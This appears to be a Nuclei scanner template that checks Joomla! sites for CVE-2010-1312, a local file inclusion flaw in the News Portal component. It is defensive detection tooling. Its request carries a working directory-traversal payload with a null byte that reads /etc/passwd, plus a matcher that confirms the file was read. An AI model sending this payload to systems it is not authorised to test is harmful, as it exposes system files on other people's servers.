id: CVE-2010-1312 info: name: Joomla! Component News Portal 1.5.x - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the iJoomla News Portal (com_news_portal) component 1.5.x for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/12077 - https://nvd.nist.gov/vuln/detail/CVE-2010-1312 - http://web.archive.org/web/20140724200344/http://secunia.com/advisories/39289/ - http://packetstormsecurity.org/1004-exploits/joomlanewportal-lfi.txt remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1312 tags: cve,cve2010,joomla,lfi,edb,packetstorm requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_news_portal&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/14